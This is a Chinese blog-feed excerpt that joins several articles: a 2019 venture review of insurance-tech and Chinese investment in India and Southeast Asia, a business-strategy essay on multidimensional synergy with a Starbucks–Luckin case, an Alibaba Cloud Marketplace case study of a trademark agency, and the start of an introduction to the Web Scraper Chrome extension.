        2. 时代新宠儿“互联网保险经纪”:大多数互联网保险创业公司都是互联网保险中介公司, 主要进行 2C 的销售业务、2B 的分销业务和 2A(代理人)的赋能业务。代表公司有2A方向的i云保、保险师等;2B方向大特保、小雨伞、悟空保等;以及2C方向的谱蓝、小帮规划、多保鱼、蜗牛保险等。
        3. 保险业基础设施“保险科技公司”:科技促进了保险行业的全面创新,正成为驱动行业创新的主要动能。在科技的赋能下定价、承保、营销、理赔等各环节新应用层出不穷,促使互联网保险快速发展,并在保险普惠、效率提升、体验优化、产品创新等方面均取得了长足进步。代表公司有:慧择、力码、南燕等。

        与此同时小饭桌认为,保险的创业机会不止存在于销售端,保险产品和相关服务的融合创新潜力巨大,其中比较有代表性的就是把保险姓保落地的“健康险医疗服务公司”。

        车险、健康险都需要构建后续服务生态,例如当下中国健康险市场正在快速爆发,但成熟的保险产品并非单纯的金融产品而应当是与医疗结合的综合性产品,但在中国公立医疗体系下商业保险很难渗透其中,打通医疗与保险成为健康险进一步发展的首要屏障。代表公司有优加健康、谐筑、众诺普惠、健易保、乐约健康、易庸健康、保服通诚、乐牙等。

        由于保险产业规模巨大,链条极长,能够创新的节点也很多,因此才会出现如此丰富多彩的创业方向和创新模式。虽然创新很丰富,但大体可以归为产品和渠道两类,小饭桌结合历史数据和自己在保险领域的研究和思考,判断2020年保险创业在产品和渠道两个维度将会呈现以下发展趋势:

        ▌产品维度:

        1. 人身险产品将继续聚焦保障型产品,从产品性价比的角度不会有太明显的提升,但是各保险公司会从多角度创新来满足不同类型用户的需求;
        2. “打破刚兑”和“低利率”深入人心,竞品收益率降低和信用风险的抬升,有望推升年金险规模高速增长;
        3. 保险公司以及再保险公司都在积极的从医疗的角度对保险产品进行创新,2020 年可能会有新的与医疗服务深度绑定的保险产品面世,让消费者真正感受到接近社保体验的商业保险。
        4. 随着科技不断的发展及监管层面的逐步放开,车险等财产险也会逐步产生新的创新,围绕车联网技术的创新可以真正的实现主机厂、保险公司与车主的闭环。

        ▌渠道维度:

        1. 保险公司原有渠道

        大型保险公司将继续提升自身代理人团队的素质并积极在互联网渠道进行布局;
        中小型险企近年来已经通过高性价比的产品实现了较快的发展,尝到了与互联网渠道合作的甜头,可能会更深入的与互联网渠道方在保险产品设计、数据使用等方面达成合作;

        1. 互联网流量场景渠道

        大型互联网公司例如蚂蚁金服、腾讯、滴滴金融、水滴、轻松筹等将依托各自庞大的流量场景成为新一代的保险入口;
        中小互联网渠道将面临更激烈的竞争,单纯的把销售转移到线上无法从竞争中突出重围,只有不断提高自身运营转化能力,真正服务于客户从用户需求出发的模式才能脱颖而出;

        1. 其他渠道

        随着信息化的不断升级,知识付费、短视频等内容媒介的快速发展,大量 KOL、小团队将会涉足保险销售行业,也会有越来越多的代理人转型成为独立代理人。赋能中小团队的服务商会迎来新的巨大发展机会。

        出海及海外互联网

        中国的互联网红利趋于消退,印度、东南亚、非洲、中东等地消费互联网蓝海市场却有着巨大的市场红利,吸引着国内外科技巨头和投资基金加快布局。

        一些独角兽公司开始通过早期海外投资实现全球化扩张。爱回收联合其股东晨兴资本等共同投资了印度“爱回收”Cashify B轮融资,宝宝树和蚂蚁金服支持的专注印度和东南亚互联网的基金BAceCapital联合投资了印度“宝宝树”Helofy等等。

        巨头也没有闲着,腾讯投资了印度最大的音乐应用Gaana、外卖O2O平台Swiggy、东南亚物流撮合平台Go-Jek等明星项目。阿里巴巴则是通过战略投资在海外的金融科技、电商等领域广泛布局和自身业务达成协同,比如东南亚综合电商平台Lazada、印度杂货电商Bigbasket、移动支付龙头企业Paytm和印度“快手”Vmate;携程收购了印度最大的OTA MakeMyTrip 38%的股权布局印度OTA市场;滴滴投资了印度的Ola Cabs以及东南亚市场的Grab;京东重仓Go-jek,好未来投资了印度多家互联网教育企业,昆仑万维收购Opera布局非洲等等。

        出海是今年小饭桌重点关注的方向,旗下凡卓资本团队自2016年就开始积极关注和探索新兴市场机会,并成功为Akulaku、KrazyBee、Silot、卖到非洲网、Trell、Cashify、RedDoorz等多个海外互联网领先企业完成了数轮来自中国头部基金的投资,在印度以及东南亚等市场成为连接当地优秀企业和中国投资者的知名投行。

        基于对出海行业的深度研究,小饭桌在2019年观察到一些有意思的资本市场现象:

        1. 中国基金国内捂紧钱袋,海外疯狂买买买:从印度、东南亚买到非洲、拉美

        除了企业出海,越来越多的中国头部投资机构开始加快海外的投资布局,投资标的从“中国企业海外业务”拓展至本土创业公司。今年中国一级市场融资额较去年同期缩水超30%,而中国资本投向印度、东南亚的钱却翻倍增长,披露的融资数量超过60起,可谓冰火两重天。比如在印度,中国资本成为仅次于美国和印度本土的第三大资金来源。在东南亚,2019年中国资本的投资总额同比增加了2.5倍。

        1.jpg
        (2019中国基金印度布局情况)

        在印度市场的中国资本包括顺为资本、复星、高瓴资本、鼎晖百孚、晨兴资本、众为资本等国内一线投资机构,他们在金融科技、消费、电商和社交等行业全面布局。顺为资本以战略投资和中后期融资居多,代表案例有短视频社交平台Sharechat、电商服务类企业Meesho和印度“爱回收”Cashify、在线贷款平台LoanTap等;复星集中于早中期投资,投资了共享出行提供商Loca的天使轮融资和在线旅游规划平台ixigo的B轮融资等。同时印度还出现了一些专注于本土市场的中国投资者,代表基金如BAceCapital今年投资了网约摩托车服务商Rapido的B轮融资,内容电商平台Quyki的A+轮融资和母婴电商Healofy的A轮融资。

        2.jpg
        (2019中国基金东南亚布局情况)

        在东南亚市场,中国的投资机构既有头部基金戈壁创投和高瓴资本等,也有专注于东南亚新兴市场基金ATM资本。其中戈壁创投在东南亚市场投资了超过35家公司,以战略和早中期融资为主,涵盖在线贷款(Julo Financial和SuperAtom)、电商服务(EasyParcel和SaleStock)和人工智能(ViSenze)等;高瓴资本集中于战略融资和股权转让,投资了东南亚“滴滴”Grab和在线旅游平台Traveloka最新的战略融资。ATM资本近期投资了在线母婴平台theAsianparent的C轮融资和物流平台Kargo Technologies的种子轮融资。

        除了火热的印度和东南亚市场,中国基金还将投资拓展到了非洲及南美洲等更早期的新兴市场。例如腾讯投资了巴西的金融科技公司Nubank, GGV投资了巴西共享单车公司Yello,美团、红杉、IDG、源码资本等共同投资了非洲的移动支付服务商Opay。

        得益于中国互联网经济的蓬勃发展以及经济发展阶段的部分相似性,海外市场过往更多学习美国和渴望美国资本投资的趋势也大幅转向了学习和复制中国的成熟模式,对中国资本尤其欢迎,双向的偏好使得中国资金得以快速加码。

        2. 国外投资机构扎堆印度、东南亚跑马圈地

        除了中国基金,软银这样的老牌PE也在印度持续加注,还有对冲基金Steadview Capital、高盛和总部位于美国Ribbit Capital等。值得一提的是,老虎环球基金也强势回归印度本土投资,今年已经完成了20多笔新的中后期投资,覆盖金融服务、电商和教育培训等行业。同时,eWTP、ATM Capital等一大批本土美元基金、布局中国超过10年的韩资基金KIP和KTB,以及欧洲基金等都在积极押注。

        3. 投资以中后期为主,早期融资复苏

        根据2019年海外市场融资情况,小饭桌观察到,中国资本投向印度一级市场的资金大多集中于成长期,占融资总额约62%,但另一个迹象是印度的早期融资复苏明显。经纬印度、光速创投和ChirataeVentures(前身为IDG风险投资公司印度分公司))等机构在过去几个月增加了早期投资的数量,红杉印度甚至进入种子轮的交易,这也相应推高了早期项目的估值。

        在小饭桌看来,布局海外市场的逻辑在于新兴市场有巨大潜力。

        GDP潜力大。新兴市场合计人口33亿,人均GDP有望在未来10年追上中国当前水平,东南亚的人均GDP就已经达到4514美元。

        更年轻的用户。新兴市场平均年龄明显偏低,年轻人口比重大。非洲13亿人口平均年龄只有18岁,印度13.9亿人口平均年龄也只有27岁,在消费互联网时代,服务年轻群体是大势所趋。

        移动支付的成熟。在互联网基础设施方面,新兴市场跨越了PC互联网直接进入移动互联网时代,4G技术逐渐成熟,移动支付渗透率快速攀升,红利突出。比如印度有3.5亿部智能手机,3亿社交用户。

        在宏观的观察之外,我们看到海外市场在业务增长以及融资份额上排名Top5的行业为:电子商务、移动支付和金融科技、外卖、移动出行、在线旅游及酒店。小饭桌认为,电子商务和金融科技是中国公司和中国资本在海外市场最值得投资的赛道。

        先说电子商务领域。中国互联网巨头当前5000亿美元的市值如果要进一步增长至万亿级美元,在中国市场外寻找巨大的增量是必然的发展路径。所以在东南亚市场,不管是腾讯拿到被称为“东南亚小腾讯”的SEA约40%的股权,还是阿里巴巴10亿美元收购Lazada都有明显的战略意图。不止是中国企业,Amazon在印度市场也激进布局成为印度前两大电商之一,沃尔玛也以创纪录的160亿美金收购印度第一大本土电商Flipkart希冀收割印度的电商发展红利。

        中国的创业公司也在海外电商的发展中有诸多斩获,包括中国背景深厚主打欧美市场的电商公司Wish,由启明、昆仑万维等支持的印度第三大电商平台的Club Factory,成功拓展中东市场的执御等均有机会伴随当地电商市场的扩大而持续增长。

        海外的创业公司通过复制中国的创新模式也取得显著发展。在印度,电子商务市场到2020年可达到600亿美元,Amazon、Club Factory和Flipkart三足鼎立。但对标云集会员制模式的社交电商公司Meesho,则以facebook和whatapp为阵地发展了200万印度在家女性拓展社交电商业务,并获得了腾讯大股东Naspers以及Facebook 1.25亿美金的融资,据称Meesho正以10亿美金的预期在与多个国际顶级投资者讨论新一轮融资。

        又比如凡卓资本服务的客户Trell则对标社区和网红电商代表小红书,并成功拿到印度红杉的投资,业务上也取得了高速增长。

        但我们也应该注意到,虽然新兴国家市场的电商有着巨大的增量空间,但物流基础设施落后以及高拒单退货率等都是阻碍电商获得如中国电商增长奇迹的制约因素。

        再来说移动支付和金融科技领域。

        整体来看,海外市场金融科技的发展得益于政策的支持,同时移动支付的普及也让互联网发展的基础设施快速建立,其他业态得以更好地发展。

        见证了中国在移动支付以及金融科技对于新经济的突出贡献之后,新兴国家政府和本土公司均在激进拓展移动支付和金融科技业务,以促进在线交易以及普惠金融的发展。印度政府于2018年快速拓展的UPI(United Payment Interface)就促进了该国移动支付的快速渗透。

        在互联网基础设施方面,以蚂蚁金服和软银重仓支持的Paytm举例,Paytm在近年快速发展了高达4.5亿的移动支付用户,移动支付的快速发展还带动了其他互联网业态的高速增长,包括金融服务、外卖、移动出行、在线教育等。而东南亚的移动支付在Grab及Go-jek支持的移动支付应用上也取得了显著增长,推动了东南亚互联网经济的增长。

        再细分到具体领域,由于本土金融服务不成熟,没有覆盖到更多的潜在人群,小饭桌估算印度的非银行个人消费信贷市场空间接近1080亿美元,目标人群超1.8亿且在快速增长中。我们认为消费信贷和移动金融服务是海外移动支付和金融科技领域最具潜力的赛道。

        首要原因在于严格的监管环境。以印度举例,在金融和金融科技领域,印度相比于中国市场有更严格、稳定的监管环境,显著降低了金融科技发展过程中的无序和庞氏风险。一个成功的案例便是主打消费电子和摩托车分期的消费信贷公司Bajaj Finance, 通过数十年的发展和在印度数万个营业网点的覆盖,BajajFinance发放了高达数千亿的贷款却坏账率极低,并且市值已经达到200亿美金。所以在任何国家创业首先都要考虑监管问题,尤其是在金融服务领域,政策对其有很大的影响。

        凡卓资本服务的主打个人消费信贷的公司KrazyBee拿到了来自中国头部金融科技领域基金的大额注资,其业务也实现了类似中国消费信贷市场早期的惊人增长。得益于监管的严格,其发展的稳定性以及可持续性预期非常可观。类似的企业还有主打个人信用卡服务的Cred。

        另外,印度发达的个体小微经济也为小微企业信贷提供了很好的土壤,培育了包括LendingKart,Incred等多个小微企业领域的独角兽公司。

        最重要的是,消费信贷和移动金融服务目前处于机会窗口期。由于Paytm等移动支付公司仍然在移动支付领域抢占市场份额尚未在信贷变现上做激进布局,印度的在线信贷公司有望摆脱中国市场来自借呗、微粒贷等互联网巨头的碾压,业务天花板更高从而有机会实现甚至百亿美金的估值预期。小饭桌预测,未来5年印度在线信贷市场将达到1万亿美元。

        在东南亚市场方面,至2025年在线信贷市场空间可扩大5倍至1000亿美元,在线投资、外汇、及保险业务可带来额外1000亿美元的年增量空间。

        金融科技创新在南美洲也取得了巨大的突破,腾讯投资的Nubank引领了今年全球的NEO Bank-直销数字银行趋势,取得巨大的增长,估值增长至百亿美金。

        虽然海外互联网存在巨大机遇,但小饭桌在与中国出海的企业、投资者以及印度本土的创业公司及投资人的多方持续沟通后,我们认为海外市场的创业者及投资机构依然要在政策监管、文化适应、人均可支配收入三个方面着重考量。

        在政策监管方面尽管来自本土的挑战颇多。例如在电子商务领域,今年8月印度政府开始严管来自跨境电商以“礼品”、“小包邮寄”等方式入境印度的商品。今年2月开始,印度政府要求电商企业不得在电商单一平台独家销售,不得进行大幅折扣等。而印度头两大电商Amazon是美国企业,Fipkart被沃尔玛收购之后也成为美国企业,Club Factory则是以中国供应链为基础的跨境电商,这些政策对这些企业均造成一定程度的影响。

        但互联网对于经济发展带动的重要性以及科技对于经济渗透的不可逆,这也决定了政策和监管不是影响成败的决定性因素。其实这也从另一个角度说明了,以投资的方式进入印度市场能更好地解决监管方面的挑战。如同10多年前,Google, Facebook等企业相继由于监管方面的问题离开中国市场,但软银、Naspers等企业则通过投资的方式押注腾讯、阿里巴巴等企业获得了巨大的回报,这对中国资本来说是一个借鉴的思路。

        人均GDP方面,海外新兴市场的消费能力整体较中国仍有较大的差距,但新兴市场有两方面的显著潜力优势:一方面是增速较快,印度自2015年人均GDP复合增长率增速接近8%,东南亚GDP增速也超过全球平均值2%达到5%,带来巨大的消费力提升;另外新兴市场的人均年龄非常低,印度人均年龄仅27岁,东南亚仅29岁,非洲更是仅19岁,巨大的劳动力加入以及移动互联网对年轻人生活方式的渗透同样提供了巨大的增量空间。

        在文化适应方面,由于海内外文化习俗生活习惯均存在巨大差异,如果以投资而不是运营方式参与市场可以大大减少在招募和管理大量本土员工时带来文化上的诸多挑战。

        总的来说,如果投资者有足够的耐心陪伴海外互联网公司挖掘当地市场红利,长期来看投资人仍然有望获取可观的回报。而中国市场在诸多赛道上的成熟和佣金也让更多的中国资本不得不更激进地探索海外的机会和挖掘新兴市场红利从而复制他们曾经在中国市场取得的巨大回报。凡卓资本也将进一步扩大投入,持续助力中国资本进行新兴市场布局,挖掘红利,将中国经验传递给海外优秀的创业者,帮助中国模式在全球取得更大的成功。

        这四个方向的行业洞察既是我们对2019年的总结,也是对即将到来的2020年创投趋势的预判。迷雾之中,小饭桌愿意陪伴创业者共同摸索前行,赶在破晓之前看清商业本质,一起迎接必将到来的黄金时代。

        转自创头条,原文链接:http://www.ctoutiao.com/2541649.html

        ]]>
        基于点线面体的多维协同战略理论概述 Fri, 02 May 2025 09:39:04 +0800 前言:

        在互联网维度体系概念被提出之后,社会上对于降维的理解向不同的方向发展,如很多人认为降维呈现的是有高难度业务实施能力的企业向低难度领域业务进行渗透和发展的方式,还有的认为降维就是互联网行业对于传统行业的业务冲击。其实这些说法并不存在绝对的对与错,但是在本质上对于多维协同战略没有一个成体系化的梳理,本文结合点线面体理论从生态体系和业务中台的角度出发,在此基础上分析和总结多维协同战略的本质。
        其实多维协同特别是降维并不能理解为是一种攻击方式,而是随着时代的发展,先进商业模式淘汰落后商业模式的手段。互联网和数据的赋能本身就能够将行业的维度进行提升,如果在这个过程中部分落后产能无法响应时代变革的需要,则面临高维度商业模式的挑战是一个必然需要面对的问题。由于高维度商业模式基于数据驱动呈体系化协同运作,落后的产能在面临市场竞争时没有任何胜算,因此从需要被淘汰的落后产能的角度看才会将这种正向而积极的替代称为降维攻击,而对于积极拥抱数据变革的行业和主体,称其为从用户侧需求出发的高维度赋能更为合适。

        1 维度的确立

        如果说维度体系的典型表现是一个由多维度构成的生态体系的话首先需要有足够高的维度,在此基础上才能有多维协同和降维的基础。高维度和低维度本身并不可能是互相独立的,反而是密不可分而相互融合的,低维度始终应该是高维度中的一部分并且一个较高的维度应该是由不同较低维度组合而成的一个整体的表现。如我们认为三维立体比二维平面多一个维度,而叠加上时间的变化又比三维更高了一个维度,在区分这些维度的时候依据的是人的感知而并不是哪个维度本身,因为这些被定义的维度本身客观存在,只是人类按照自身的感知来区分出了不同的维度。
        点线面体理论是对于互联网生态链一个很好的维度划分方式,其中点的组成部分包括使用服务的用户和服务的提供方,这些个体在整个体系中间被定义成以点的方式呈现;连接用户和服务的即是线,B2C的线由用户使用服务过程中产生,C2C的线则更为复杂,包括了用户和用户以及平台服务的提供方,C2B则是服务理念的转变,改变的是线的传输方向而作为连接用户和服务的线本身并没有变化;在点和线的基础上,面由此形成,当作为服务的点之间能够互相产生联系并提供经过整合的全新服务模式时即是产生了平面的概念,在平面之上,服务的点相互通过线连接而形成服务的集合,用户点在与其中一个点发生连接时往往代表着和服务集合中的其他服务点发生连接,平面内服务点之间相互支援并又都具有提供独立服务的能力,用户点在不断使用服务集合的过程中同时和集合中的服务点产生联系,最终由于整个平面中的用户点越来越多而增加了线的坚强程度,在这个过程中平面的范围不断的扩大,线的坚强程度确定了平面的稳定性;当平面数量越来越多时,就由平面的组合形成了体,可以发现,不管是从体的角度看还是平面的角度看,构成的基本元素都是点和线,点和线的数量在任何一个时间断面内没有增加过,同一个点不管是代表用户的点还是代表服务的点可能属于多个平面,正是由这些错综复杂的平面最终构成了体。
        由此确定点线面体的维度有三个:点、面和体,基本元素是点,点点通过线进行连接形成面,面与面组合成为体,体的变化的根本是点的变化,因此体并不是一个静态不变的体系所能准确描述的,而是时时在变,如果业务往健康方向在发展,则用户的数量越来越多并以用户点数量增加的方式体现,服务提供方因为用户的需求越来越多而向用户提供的服务种类越来越多表现为服务点的数量越来越多,因为服务点的变多,不同服务之间的整合基础和相互支援能力越强而造成平面越来越多,整个体系就会随着低维度方向的变化而造成高维度也不断滚动扩大。通常所说的业务中台的能力即是体系内各个平面的交互程度,平面间的交互程度越强则代表体系内各种服务点的相互联系越强,因此业务中台所能提供服务的能力就越强。点线面体体系示意图如图1-1所示:
        image.png

        图1-1 点线面体体系示意图


        需要特别指出的是,体系根据用户需求而形成新的平面提供服务未必代表需要在现有的基础上增加服务点,基于目前互联网行业现状,更多表现出的是现有的服务点根据用户需求直接通过线连接形成新的平面,因此体系的发展未必代表需要新增服务点实现,毕竟体和点之间隔了平面一个维度,而平面是通过点的排列组合形成的。

        2 多维协同战略的应用场景

        2.1 面对竞争对手挑战时的多维协同方式

        竞争对手入侵的具体表现往往是以点插入现有体系中的方式呈现,在面对这种情况下,有必要先对对手的业务中台进行分析,判断是孤立的点插入,还是以组合成平面的方式集群化插入如图2-1和图2-2所示:
        image.png

        图2-1 对手单点入侵情况示意图


        image.png

        图2-2 对手平面入侵情况示意图


        如果对手是以单点入侵的方式以服务点插入我方提供服务的领域,则需要考虑双方和用户连接线的强度,即对手服务点和用户点之间的线的坚强程度及我方服务点和同样的用户点之间的线的坚强程度,其实判断的本质就是双方服务点对于用户需求的响应程度,用户对于服务越满意则连接的线越坚强,服务就越有不可替代性。
        对手点插入之后随着与用户点连接的建立竞争态势形成,双方对于用户点展开争夺,我方目标为争取将用户点维持在自己体系内,而对手的目标则是将用户点从我方体系内剥离并融入其业务体系或业务平面内。如竞争失败则结果有两个,我方服务点与用户点连接线因服务无法满足用户需求而被对手点线取代退出市场,或是服务点提供的服务与对手提供的服务相当造成双方进入长期相持状态。
        如双方对于用户点的争夺进入相持状态,则双方业务中台的支援能力此时即能决定竞争的结果。因为业务中台的整合能力直接决定了自身高维度体系向低维度的展开速度,本质是体系内的其他服务点能否在业务中台的整合下根据用户需求快速联合被打击的服务点形成新的平面做到以高维度的平面对抗对手低维度的服务点竞争,或是面对对手竞争平面的插入,以组成新的平面的方式对抗对手平面做到与对手平面在同维度对抗,防止被对手降维打击。由于用户的需求变化速度非常快,强大体系的标准即业务中台短期内能够快速整合体系内的服务点及时形成平面满足用户需求的能力,这除了需要体系内的服务点足够多外相互能否及时被业务中台整合也是至关重要的决定因素,否则体系内的各个服务点即使足够多也会因相互关系较远而无法组合成平面造成多维协同无法运作或是协同运作速度较慢,造成面临对手竞争时处于劣势。

        2.2 实际案例—星巴克面临瑞幸竞争时的主动升维防御

        瑞幸咖啡作为O2O模式的典型代表,刚问世时即对星巴克产生巨大的威胁,因为星巴克作为传统行业没有互联网赋能则面临低维度对抗高维度的不利局面,瑞幸一问世便已经由门店、网上平台、快递和电子支付等组成了平面并且双方的用户群体即用户点基本相同,在不考虑互联网赋能的情况下星巴克面临竞争只能靠提高自己产品的质量和增加种类来加强与用户点的连接,但是用户的需求不只是咖啡的品种和质量,还包括获取的便利性即想喝咖啡时能够快速在附近找到门店或者由快递尽快送至自己面前。
        在意识到所面临的严峻局势后,2018年8月2日星巴克与阿里巴巴集团在上海宣布达成新零售全面战略合作,通过联合阿里集团利用互联网对自身传统业务进行赋能,主动进行升维防御。双方确定战略合作方向后,阿里生态体系开始对星巴克进行支撑以尽快将星巴克从一个提供点状服务的企业升维为提供平面服务的平台。从外界公开的信息,阿里生态体系内直接与星巴克建立连接的平面有饿了么和盒马鲜生,都是从用户需求出发来使星巴克加强与用户点的连接线坚强程度,其中饿了么使咖啡的消费突破线下门店范围并增加从接单到送到客户手中的速度,因此饿了么平面对于星巴克的支撑作用同时体现在空间和时间上。盒马作为阿里生态体系中O2O的最前沿阵地,本身因为与天猫平面的协同就与用户有极强的互动联络关系,与星巴克合作后利用门店优势进一步帮助星巴克在线下拓展了对外服务窗口,并将自身在线上线下一体化的优势赋能给星巴克。同时用户对于星巴克咖啡的需求和品牌认可也反过来促进了盒马和饿了么与用户的连接线坚强程度。
        星巴克-饿了么-盒马协同形成的O2O服务平面在维度上与瑞幸O2O平面相当,并且同维度的竞争力因为三方有协同叠加而在局部具有优势,本次升维防御帮助星巴克抵挡住了竞争对手高维度商业模式的冲击,具有较好的效果。

        2.3 进入新领域时的多维协同方式

        一个体系在进入新领域时因为无法瞬间就建立起由数个平面组成的子体系所以必然需要经过下沉阶段。下沉的表现方式有两种:
        1、单个服务点进入全新领域;
        2、先由几个服务点组成一个暂时不够稳定的平面进入新领域,再尝试新增服务点或是增强现有点(包括服务点对用户点和服务点与服务点)之间的线的坚强程度来促进平面的稳定。

        2.3.1 单个服务点进入全新领域时的体系支撑

        我方单个服务点在进入全新领域时即使已经建立了与用户点的连接仍会面对对手高维度服务点集群比如平面甚至是体系的竞争。此时因为是进入全新领域,因此相比对手的服务点与用户点的连接线,我方单个服务点与用户点的连接线强度一般处于劣势,在这个情况的基础上如果我方体系无法及时支援而对方服务点有高维度平面或者体系的支撑,则刚进入全新领域的单个服务点即使已经同用户点取得联系也会面临以低维度对抗对手高维度的不利局面。如图2-3所示:
        image.png

        图2-3 我方单个服务点进入新领域时局势示意图


        因此单个服务点进入全新领域前,需要对己方的体系特别是平面的预期支撑能力进行评估,评估的标准就是现有平面内的服务点是否能和新的服务点建立起足够坚强的线,最理想的状况是通过单个服务点进入新领域后整个平面和平面内已经存在的服务点能够及时与新的服务点建立联系进行支撑,通过协同化提供服务将进入新领域的服务点和使用此服务的用户点一并纳入平面,这样新的服务点因为获得了平面和平面内其他服务点的支撑而升高了自身的维度,平面也在这个过程中得到壮大,平面的壮大又使其中服务点和服务点的联系及服务点和用户点的联系更为频繁,对整个体系健康的滚动发展呈积极作用。

        2.3.2 平面切入新领域和降维竞争

        平面切入新领域是互联网界比较常见的方式,因为互联网特别是移动互联网的用户需求变化迅速,要满足时时在变的用户需求一般通过两种方式,一是根据用户需求和使用的反馈快速迭代升级产品或是开发新的产品,其次就是现有体系中的服务点能否通过即时组合及时形成全新的平面响应用户需求,两者缺一不可并且大部分情况下在同步进行。
        平面切入新领域的好处是如果对手也是高维度的商业模式,平面切入可以确保在维度上不落后,防止对手从高维度向2.3.1中我方孤立的服务点进行打击,一旦我方服务点与用户点的连接线被打断则代表服务点的存在已经没有意义因为用户的需求被对手的服务点或者平面满足,对我方服务点不再有需求。高维度的切入可以确保数个服务点形成平面同时切入新领域,平面内所有服务点同时与用户点建立联系并在服务点之间通过连接线相互支撑,尽力将用户点纳入新平面内。历史上滴滴与快的的竞争以及OFO与摩拜的竞争既是两个高维度平面切入新领域后都力争将用户点纳入己方平面内的过程,高维度之间的对抗往往会形成对用户点争夺的胶着状态。如图2-4所示:
        image.png

        图2-4 我方平面切入和对手高维度竞争示意图


        如果在平面切入新领域时并未发觉领域内有同样高维度的商业模式,则传统行业面临降维竞争的危险状态。因为从高维度往低维度看,传统模式下的服务都是一个个孤立的服务点并且这些单独的服务点之间也存在竞争关系,单独的服务点与用户点的连接线一旦被打断,则服务点只能退出。由于衡量连接线的坚强程度的唯一标准是响应用户需求的程度,高维度的平面因其中有众多服务点并且服务点之间也有较强的连接线因此显然在响应用户需求多变的情况下拥有绝对优势。如图2-5所示:
        image.png

        图2-5 我方平面切入新领域并进行降维竞争示意图


        O2O模式的出现即是典型的降维竞争表现,O2O线下铺开的目的是新增和传统服务点相似的服务点并直接在低维度上建立与用户点的连接,期望打断对手点与用户点之间的连接线,己方体系内数个平面同时对O2O线下服务点进行支撑帮助其尽快形成数个全新的平面,对用户需求极强的响应造成传统服务点与用户点之间的连接线被同维度切断并被高维度分割包围,最终只能面临淘汰。

        3 多维协同过程中的量化指标研究

        多维协同战略体系因为存在维度差异的缘故因此在不同维度上所采用的量化指标是不同的。从关系角度分析,粗略的进行区分即存在服务点与服务点、服务点与用户点、平面与服务点、平面与用户点及平面-服务点-用户点几种,但是最终都集中于线的坚强程度判断,因此线的坚强程度是能够判断用户需求被满足情况的量化指标。
        服务点与服务点之间的线的强度反映了双方能够互相支撑的能力,这是一个稳定平面的基础,大中台战略的本质就是通过统一的数据中台使各个服务点的数据源统一从而打破服务点之间相互支撑的壁垒并减少服务点相互支撑过程中的成本,这也使业务中台有了组成的基础,因此量化的指标可以是不同服务点间共享的数据量。服务点和用户点之间线的坚强程度直接反映了用户对于服务的黏性,取决于用户需求被满足的情况,在发生不能满足用户需求时,可以通过其他服务点支援形成平面提供服务的方式来增加线的强度,如果还是不能满足则考虑新增服务点,前提是本身体系内和平面内的各个服务点之间能形成坚强的线以确保相互支撑作用,这方面量化的指标可以是通常用的运营指标,运营指标可以准确的反映用户点和服务点之间的交流情况。
        比较有难度的在于量化平面与用户点及平面-服务点-用户点两个方面的关系,因为这并不是以上服务点和服务点之间及服务点与用户点之间关系的简单叠加,而是涉及到多种量化指标的整合问题,需要通过复杂工程结合多种机器学习算法解决。这是未来需要研究的方向,如能解决并应用于业务中台,则多维协同战略体系就能够彻底量化并为局部战术如,何时需要新增服务点、体系内需要调动多少服务点协同对外竞争、我方面临对手竞争时需要怎么进行升维防御等提供基于数据的参考依据。

        作者简介:朱祺 阿里云全球最有价值专家 阿里云云计算ACP 阿里云大数据ACP

        ]]>
        从无名之辈到百强企业,商标新星的成功之路 Fri, 02 May 2025 09:39:04 +0800 2019年,政府加大监督调控力度,知识产权“强保护”再度升级,政策组合拳强力出击,在一定程度上为知识产权市场营造了良好的市场环境。但不可忽视的是,知识产权并非大众市场,众面窄、拓客难、机制不成熟一直作为知识产权类商标服务面临的三大固有难题,那如何实现困局突围,出路在哪里?
        77bdc451f871469ab7530d3a0705bd33.jpg

        北京诚广信知识产权代理有限公司(以下简称诚广信)面向国家知识产权局,主营知识产权商标服务业务,2018年9月与云市场正式建立合作。合作前,诚广信只是行业中一个默默无闻的小公司,通过阿里云域名团队的技术加持以及云市场的平台优势,在商标代理服务领域迈入全国前100强行列,月均订单实现由100到1000件质的飞跃。

        作为商标领域发展势头强劲的一颗新星,与云市场合作后,诚广信开始拓展自身业务版图,由知识产品代理服务向知识产权维权服务一步步升级。“其实知识产权市场并非大众市场,只是面向企业服务的子类目,它的市场并不是很大。” 诚广信管理者李诚向我们介绍了行业的市场现状,小众市场客源获取难上加难,是诚广信目前面临的最大痛点。再者,线上流量没有平台进入,通路难以打开。在这些痛点面前,诚广信选择阿里云平台获取流量支持,建立云市场阵地打开线上市场,与客户连接,扩大知名度。

        渠道拓客:开放多方流量入口。阿里云云市场作为阿里云旗下软件交易与交付第一平台,相当于软件的“天猫”,无论是传统软件、SaaS、API或服务提供商等都可以直接入驻云市场,直接接入线上流量。对于诚广信而言,云市场就扮演着线上获客流量管道的角色,借助阿里云覆盖全域的流量优势和平台标准化的交易流程,诚广信打造了新的商业模式并开拓出更大的市场。

        平台服务:进行业务规范化指导。阿里云云市场除了为诚广信的商标服务提供流量支持,还针对对诚广信的服务能力进行跟踪优化、辅导规范,帮助诚广信实现服务流程更完善、更人性化的提升,业务能力过硬、监管流程透明的商标服务才能在用户服务满意度上得到市场认可。

        降本提效:最大程度降低运营成本。在知识产权行业,阿里云知识产权服务众所周知,主要为商标代理机构申请人提供一站式电子化的商标查询业务办理,档案管理等底层技术支持 ,极大提高了商标管理的工作效率。阿里云利用独创技术可实现商标最快1分钟提交至商标局。不仅提升了知产保护运用成效,还降低了企业经营知产的成本。

        技术能力:解决方案加持。阿里云云市场满足客户一键发布、服务商迅速响应的双向机制,客户的需求能在第一时间得到解决。“是阿里云云市场,帮助我们及客户开阔了知识产权崭新的视野。”李诚说到。其次,阿里云的知识版权板块可以帮助客户快速联系服务商,构建起渠道商与客户之间的桥梁,消除双方沟通壁垒。

        目前,诚广信已服务10000+用户,与去年相比整体增长500%。“服务的常见客户痛点是商标通过率不足,我们更多地希望借助阿里云的大数据、成熟技术帮助客户由权变成钱,更加完善地保护知识产权。”李诚提到。知识产权的保护与管理也成为中国科技企业的共识,阿里云云市场不仅是软件交易的“撮合者”,更是重视客户成功的企业服务平台,未来将赋能更多中小微企业,实现垂直领域深耕。

        【SaaS加速器官网】: https://saas-accelerator.aliyun.com/

        尾图.jpg

        ]]>
        推荐一个网页抓取小工具Web Scraper Fri, 02 May 2025 09:39:04 +0800 想分享的这款工具是个Chrome下的插件,叫:Web Scraper,是一款可以从网页中提取数据的Chrome网页数据提取插件。在某种意义上,你也可以把它当做一个爬虫工具。

        第一步 创建Sitemap

        打开Chrome浏览器,按F12调出开发者工具,Web Scraper在最后一个页签,点击后,再选择“Create Sitemap”菜单,点击“Create Sitemap”选项。

